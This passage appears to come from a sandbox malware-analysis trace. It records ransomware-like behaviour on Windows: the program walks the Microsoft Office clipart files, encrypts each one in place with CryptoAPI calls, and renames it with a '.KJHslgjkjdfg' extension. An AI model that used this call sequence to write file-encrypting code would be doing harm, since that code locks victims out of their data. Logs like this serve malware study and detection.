1 [0231.445] CloseHandle (hObject=0x130) returned 1 [0231.446] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ca7e100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ca7e100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02748U.BMP", cAlternateFileName="")) returned 1 [0231.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.448] GetProcessHeap () returned 0x2ef0000 [0231.448] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.448] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.448] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.448] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.448] GetProcessHeap () returned 0x2ef0000 [0231.448] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.448] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.448] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.448] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.451] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.451] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.451] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.451] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.451] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.451] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.452] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7e90, lpOverlapped=0x0) returned 1 [0231.453] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7e90, dwBufLen=0x7e90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7e90) returned 1 [0231.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.453] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7e90, lpOverlapped=0x0) returned 1 [0231.453] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.454] SetEndOfFile (hFile=0x130) returned 1 [0231.457] GetProcessHeap () returned 0x2ef0000 [0231.457] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.457] GetProcessHeap () returned 0x2ef0000 [0231.457] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.457] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp.kjhslgjkjdfg")) returned 1 [0231.459] CloseHandle (hObject=0x130) returned 1 [0231.459] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3d97700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3d97700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x8795, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02749G.GIF", cAlternateFileName="")) returned 1 [0231.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.460] GetProcessHeap () returned 0x2ef0000 [0231.460] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.460] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.460] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0231.491] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.491] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.491] GetProcessHeap () returned 0x2ef0000 [0231.491] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.491] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.491] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.491] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.491] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.491] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.492] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.492] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.492] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.492] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.492] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.492] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.492] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8795, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8795, lpOverlapped=0x0) returned 1 [0231.493] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x87a0, dwBufLen=0x87a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x87a0) returned 1 [0231.493] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.494] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x87a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x87a0, lpOverlapped=0x0) returned 1 [0231.494] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.494] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.494] SetEndOfFile (hFile=0x130) returned 1 [0231.497] GetProcessHeap () returned 0x2ef0000 [0231.497] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.497] GetProcessHeap () returned 0x2ef0000 [0231.497] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.497] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif.kjhslgjkjdfg")) returned 1 [0231.500] CloseHandle (hObject=0x130) returned 1 [0231.500] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46018a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46018a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02749U.BMP", cAlternateFileName="")) returned 1 [0231.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.502] GetProcessHeap () returned 0x2ef0000 [0231.502] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.502] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.502] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.502] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.505] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.505] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.505] GetProcessHeap () returned 0x2ef0000 [0231.505] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.505] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.505] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.505] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.505] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.505] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.505] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.506] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.506] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.506] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.506] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.506] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.506] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8118, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8118, lpOverlapped=0x0) returned 1 [0231.507] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8120, dwBufLen=0x8120 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8120) returned 1 [0231.508] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.508] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8120, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8120, lpOverlapped=0x0) returned 1 [0231.508] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.508] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x81f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.508] SetEndOfFile (hFile=0x130) returned 1 [0231.511] GetProcessHeap () returned 0x2ef0000 [0231.511] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.511] GetProcessHeap () returned 0x2ef0000 [0231.511] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.511] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp.kjhslgjkjdfg")) returned 1 [0231.514] CloseHandle (hObject=0x130) returned 1 [0231.514] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd045f000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd045f000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x64c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02750G.GIF", cAlternateFileName="")) returned 1 [0231.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.516] GetProcessHeap () returned 0x2ef0000 [0231.516] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.516] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.516] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.516] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0231.518] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.518] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.518] GetProcessHeap () returned 0x2ef0000 [0231.518] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.518] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.519] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.519] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.519] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.519] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.519] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.519] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.519] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.519] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.519] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.519] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.520] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x64c7, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x64c7, lpOverlapped=0x0) returned 1 [0231.521] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x64d0, dwBufLen=0x64d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x64d0) returned 1 [0231.521] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.521] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x64d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x64d0, lpOverlapped=0x0) returned 1 [0231.521] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.521] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x65a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.521] SetEndOfFile (hFile=0x130) returned 1 [0231.524] GetProcessHeap () returned 0x2ef0000 [0231.524] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.524] GetProcessHeap () returned 0x2ef0000 [0231.524] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.524] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif.kjhslgjkjdfg")) returned 1 [0231.526] CloseHandle (hObject=0x130) returned 1 [0231.526] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x105ca100, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x105ca100, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x16f40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02750U.BMP", cAlternateFileName="")) returned 1 [0231.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.528] GetProcessHeap () returned 0x2ef0000 [0231.528] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.529] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 